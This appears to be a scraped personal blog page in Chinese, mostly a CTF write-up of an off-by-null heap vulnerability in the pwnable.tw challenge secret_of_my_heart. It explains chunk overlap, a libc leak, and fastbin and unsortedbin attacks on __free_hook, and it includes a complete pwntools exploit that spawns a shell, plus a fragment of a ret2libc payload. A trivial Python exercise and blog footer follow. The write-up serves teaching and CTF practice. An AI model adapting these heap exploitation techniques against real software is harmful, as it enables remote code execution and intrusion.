payload2='a'*140+p32(system_addr) + p32(main_addr) + p32(binsh_addr)

p.sendline(payload2)
p.interactive()

off by null漏洞

Posted on 2019-07-27 | In 理论知识

例题讲解

原文链接:https://www.anquanke.com/post/id/171283

1
2
3
4
5
6
用pwnable.tw里面的secret_of_my_heart作为例题
pwnable.tw不知道我为什么题目取不出来,只能直接学
这个漏洞有点难懂 看了挺久的 为了解决easy_heap那一题
首先介绍这题

检查

1
该程序有三个功能

1
2
分别是add、delete和show功能。
程序刚开始使用mmap函数申请了一块内存:

1
2
3
这里的mmap出的内存里面主要作用是用来存放一个个secret结构体

sercet的结构体如下:

1
下面看一下add函数

1
漏洞点在add函数中的input_str函数中

1
2
3
4
5
红框中的代码有泄露漏洞,可以泄露堆的地址

而蓝框中的代码则是在输入的最后加上字节”\x00″,这样就造成了offbynull漏洞。

看一下show函数的内容:

1
再看一下delete函数中的内容:

1
2
3
4
5
6
7
1、可以通过unsortedbin attack写入到free_hook上方,然后利用fastbin attack写入system的地址,从而拿到shell;

2、可以通过fastbin attack修改malloc_hook为one_gadget,然后利用malloc_printerr触发malloc;

3、可以通过fastbin attack修改_IO_FILE文件结构体的vtable中的函数地址为one_gadget来拿到shell;

4、可以通过fastbin attack修改top chunk指针来劫持top chunk,拿到shell;

具体实现

1
第一种思路的实现

1
2
3
这是exp中的各个函数

首先先去申请5个chunk和泄露堆的地址,大小分别有0x68和0xF8的

1
2
3
4
5
6
7
然后进行chunk overlap

这里的大概思路是,通过3号chunk去溢出4号chunk的prevsize和size,使得当释放4号chunk时,去合并0-3号chunk。这里为了绕过unlink中出现的crash,我们需要先将0号chunk给free掉。 ![](YinXiangBiJi.enexfiles/chunkoverlap.png)

这里需要说一下,p64(0x0)+p64(0x71)+p64(attack_heap)+p64(0x00)是为后面unsortedbin attack做准备,所以可以暂时忽略,后面的p64(0x100+0x100+0x70+0x70)是伪造的prev_size,这样去free掉4号chunk就可以将0-4号chunk合并并放入unsortedbin中。

特别说明一下,attack_heap的地址为0x562b0fa382c0。

1
2
3
可以看到,这里已经实现了我们的目的。

然后进行libc地址泄露

1
2
3
4
5
我们已经将0-4号合并的chunk放到了unsortedbin中,但1号chunk实际上并没有被我们free过,所以我们把在unsortedbin中的0号chunk申请掉,malloc就会切割chunk,并将unsortedbin的地址放到1号chunk里面,这时候我们去show1号chunk就可以得到unsortedbin地址了。

我们已经将libc地址泄露了,接下来我们该如何利用这些chunk拿到shell呢?

首先,我们先去free掉2号chunk,使得2号chunk放入fastbin中,那么现在堆的布局是怎样的呢?我们来看一下。

1
这样我们就可以通过去unsortedbin中取得内存,来控制0x562b0fa38200中的内容了.

1
首先new一个0xE8大小的内存。

1
然后通过new一块0x70+0x70大小的chunk,控制0x562b0fa38200中的prev_size为0,size为0x71,fd为attack_heap,也就是0x562b0fa382c0

1
看一下0x562b0fa382c0中的情况

1
为什么0x562b0fa382c0中为什么回事这样呢,还记得前面吗?

1
2
3
4
5
这里我们对0x562b0fa382c0写入了p64(0x0)+p64(0x71)+p64(attack_heap)。

这样,fastbin中就有了三个chunk,分别是0x562b0fa38200,0x562b0fa382c0,0x562b0fa382c0。

接下来我们将0x562b0fa38200申请出来,然后通过申请0x562b0fa382c0这个chunk改变第二个0x562b0fa382c0的fd和unsortedbin中的chunk的bk。从而进行fastbin attack和unsortedbin attack。

还有四种方法自行原文学习 ,学一种我就快die了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *

#context.log_level = "debug"

local = True

if local:

p = process("./secret\_of\_my_heart")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bin_offset = 0x3C4B20 + 0x58

else:

p = remote("chall.pwnable.tw","10302")

libc = ELF("./libc_64.so.6")

bin_offset = 0x3C3B20 + 0x58

elf = ELF("./secret_of_my_heart")

def new(size,name,secret):

p.sendlineafter("choice :",str(1))

p.sendlineafter("Size of heart : ",str(size))

p.sendafter("Name of heart :",name)

p.sendafter("secret of my heart :",secret)

def show(index):

p.sendlineafter("choice :",str(2))

p.sendlineafter("Index :",str(index))

def free(index):

p.sendlineafter("choice :",str(3))

p.sendlineafter("Index :",str(index))

new(0xF8,"a"*0x20,"aaaa")#0 100

new(0xF8,"b"*0x20,"bbbb")#1 100

show(1)

p.recvuntil("b"*0x20)

heap_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

success("heap_address ===> " + hex(heap_addr))

new(0x68,"c"*0x20,"cccc")#2 70

new(0x68,"d"*0x20,"dddd")#3 70

new(0xF8,"d"*0x20,"dddd")#4 100

new(0xF8,"padding\n","padding\n")#5

free(0)

free(3)

offset = 0x55a9d344a2c0 - 0x55a9d344a110

attack_heap = heap_addr + offset

new(0x68,"d"*0x20,"d"*0x40 + p64(0x0) + p64(0x71) + p64(attack_heap) + p64(0x00) + p64(0x100+0x100+0x70+0x70)) #0

free(4)

new(0xF8,"a"*0x20,"aaaa")#3

show(1)

p.recvuntil("Secret : ")

bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

libc.address = bin_addr - bin_offset

free_hook = libc.symbols['__free_hook']

success("libc_address ===> " + hex(libc.address))

success("system_address ===> " + hex(libc.symbols['system']))

success("__free_hook ===> " + hex(free_hook))

free(2)

log.info("attack_heap_address ===> " + hex(attack_heap))

new(0xE8,"test","test") #2

new((0x70+0x70),"attack",p64(0x00)+p64(0x71)+p64(attack_heap)) #4

new(0x68,"test","/bin/sh\x00") #6

new(0x68,"attack",p64(free_hook-0x43) + "\x00" * 0x10 + p64(0x101)+p64(0xdeadbeef)+p64(free_hook-0x50))

new(0xF8,"attack","attack")

#unsorted bin attack

payload = "\x00" * 0x33 + p64(libc.symbols['system'])

new(0x68,"attack","attack")

new(0x68,"attack",payload)

free(6)

p.interactive()

python100例

Posted on 2019-07-27 | In python基础

第一题

日常更新

1
2
3
4
5
6
7
8
9
10
题目:有四个数字:1、2、3、4,能组成多少个互不相同且无重复数字的三位数?各是多少?

#!/usr/bin/python
# -*- coding: UTF-8 -*-

for i in range(1,5):
for j in range(1,5):
for k in range(1,5):
if( i != k ) and (i != j) and (j != k):
print i,j,k

第二题

1
2


babyheap

Posted on 2019-07-27 | In RCTF 2019
12345

xfgg

42 posts
14 categories
3 tags
RSS
© 2019 xfgg
Powered by Hexo
|
Theme — NexT.Gemini v5.1.4
0%